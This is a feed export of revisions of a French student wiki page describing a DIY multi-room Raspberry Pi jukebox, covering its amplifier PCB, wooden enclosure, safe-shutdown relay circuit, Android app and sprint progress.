* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 4.5V est connecté à ce circuit (Suffisant pour alimenter la Raspberry Pi assez de temps pour l'extinction).&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (tout en haut à droite). Par conséquent, la Raspberry Pi ne sera plus connecté à la masse ce qui préservera les piles en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]]&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27125</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27125"/>
				<updated>2016-02-13T15:36:52Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Boîtier du module */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
